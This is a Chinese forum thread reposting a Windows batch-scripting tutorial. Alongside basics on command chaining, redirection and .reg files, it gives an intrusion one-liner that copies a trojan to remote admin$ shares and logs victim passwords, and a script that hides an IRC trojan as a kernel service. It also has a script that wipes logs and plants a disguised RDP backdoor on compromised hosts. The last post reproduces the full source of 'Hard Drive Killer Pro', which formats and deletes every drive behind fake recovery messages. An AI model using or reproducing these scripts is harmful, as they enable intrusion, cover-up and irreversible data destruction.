Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-19 18:07 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册


批处理详细教程(四)


四、管道命令的使用

1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String value”
door的类型是“REG SZ value”
Autodos的类型是“DWORD value”

2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample. reg
@echo "Autodos"=dword:02>>Sample.reg

samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-19 18:09 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

批处理详细教程(五)


六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Termina l Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Termina l Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-9-27 22:15 , Processed in 0.059042 second(s), 5 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表